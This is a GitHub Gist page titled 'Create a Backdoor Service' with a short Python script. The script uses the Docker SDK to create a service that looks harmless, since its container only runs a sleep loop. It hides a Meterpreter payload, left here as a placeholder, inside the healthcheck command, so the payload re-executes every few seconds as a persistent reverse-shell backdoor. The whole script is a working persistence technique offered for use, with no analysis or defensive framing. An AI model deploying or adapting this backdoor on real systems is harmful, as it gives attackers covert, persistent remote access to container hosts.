Last active
June 21, 2019 11:27
-
-
Save pasknel/6dfe63e0529503662c52e99aba24f5b3 to your computer and use it in GitHub Desktop.
Create a Backdoor Service
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import docker | |
client = docker.from_env() | |
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE" | |
healthtest = ['CMD', 'python', '-c', payload] | |
cmd = 'python -c "while True: import time; time.sleep(1)"' | |
service = client.services.create( | |
name = 'python', | |
image = 'python', | |
command = cmd, | |
healthcheck = { | |
"test": healthtest, | |
"interval": 1000000 * 10 * 1000, # The time to wait between checks in nanoseconds | |
"timeout": 1000000 * 300 * 1000, | |
"retries": 3, | |
"start_period": 1000000 * 5 * 1000 | |
} | |
) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment